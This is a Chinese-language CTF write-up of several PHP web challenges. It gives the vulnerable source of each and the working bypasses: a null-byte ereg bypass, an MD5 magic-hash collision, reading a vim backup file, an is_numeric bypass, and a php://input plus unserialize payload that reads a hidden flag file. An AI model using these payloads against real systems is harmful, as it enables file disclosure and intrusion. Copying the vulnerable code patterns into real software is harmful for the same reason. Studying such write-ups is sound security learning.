偶然看到的刷一刷
签到题~
进入题目
既然签到题F12一下
真的发现了,有提示打开那个js
跑一下就有flag了
你知道正则么?
源码审计
<?php
highlight_file(__FILE__);
include('flag.php');
if (isset ($_GET['jdctf'])) {
if (@ereg ("^[1-9]+$", $_GET['jdctf']) === FALSE)
echo "must input number!";
else if (strpos ($_GET['jdctf'],'#biubiubiu') !==FALSE)
die('FLAG:'.$flag);
else
echo 'try again';
}
?>
总共两个判断
第一个函数是ereg
可以用%00绕过
第二个函数strpos
用来判断该字符串中有没有#biubiubiu
因为#在url中有特殊含义所以得用url编码
payload:
http://jdctfweb.ngrok.xiaomiqiu.cn/web3-re/?jdctf=123%00%23biubiubiu
还记得hash么?
还是源码
<?php
error_reporting(0);
include_once('flag.php');
highlight_file('index.php');
$md51 = md5('QNKCDZO');
$a = $_GET['b'];
$md52 = md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo $flag;
} else {
echo "false!!!";
}}
?>
很简单呀=。=
就是拿一个经常用的
240610708
皮皮更健康~
进题目
进入之后
发现是jsfuck
跑一下
出来一串
3D45353D39333D38383D45353D39333D38383D45353D39333D38383D45353D39333D38382C3D45343D42443D41303D45383D41323D41423D45393D41413D39373D45343D42413D38362C3D0A3D45343D42383D38443D45363D39383D41463D45383D42463D39393D45343D42383D41412C3D45353D42303D42313D45393D39373D41453D45343D42443D41303D45383D41373D41333D0A3D45343D42413D38363D45353D38443D38413D45353D41343D41393D45363D42303D39343D45343D42383D38443D45363D42303D3934
不知道啥编码了=。=
16进制解一下
=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=\n=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=\n=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94
(让我觉得是misc)
解出来也不知道是啥拖到百度搜索一下
可以看到是
Quoted-printable
编码 之前一直没碰到过=。=解一下好气啊。。。。再看看题
F12 fuck。。
%3D就是等号还是一个
Quoted-printable
编码这里有http://ctf.ssleye.com/cvencode.html
119, 104, 49, 116, 101, 95, 49, 115, 95, 115, 48, 95, 104, 52, 110, 100, 115, 48, 109, 69
有完没完了。。。一看就知道是ascii码
233333
综合实力考察
在头里面发现一个hint 16进制的解一下是
MRWWY5DGM46T2===
突然看到url 里面有一个look-misc又是misc吗。。。
三个等号
base32
解一下出来是
dmltfg==
base64再解一下
vim有两个特性
-
vim备份文件
默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~ -
vim临时文件
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件 .submit.swp。如果文件正常退出,则此文件自动删除。
找了很久在index.php~发现了。。
源码
<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
header('location:./1ndex.php');
}else{
$id = $_GET['id'];
if (!is_numeric($id)) {
$id = intval($id);
switch ($id) {
case $id>=0:
echo "蹇嚭鍘诲惂锛岃蛋閿欒矾浜嗭綖锝烇綖<br>";
echo "杩欎箞绠€鍗曢兘涓嶄細涔堬紵";
break;
case $id>=10:
exit($flag);
break;
default:
echo "浣犺蛋涓嶅埌杩欎竴姝ョ殑!";
break;
}
}
}
?>
这样就过了
is_numeric
只要后面加任何除数字之外的字母或者符号即可绕过不过我做的时候发现他的代码和备份好像不一样23333 id为0的时候出来的是flag
PHP
F12源码 23333我喜欢
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
file_get_contents
出来的内容要和the user is admin
相等用php的伪协议php://input
post里面放 the user is admin
用伪协议读一下class.php的代码
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
反序列化
f1a9.php
读不到
读一下index.php的代码
<?php
$user = @$_GET["user"];
$file = @$_GET["file"];
$pass = @$_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
原来是因为有一个f1a9的waf怪不得读不到
只要构造一个反序列化 来输出flag
构造反序列化
得用file把class.php导入然后才能使用read类
http://jdctfweb.ngrok.xiaomiqiu.cn/web6-php/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}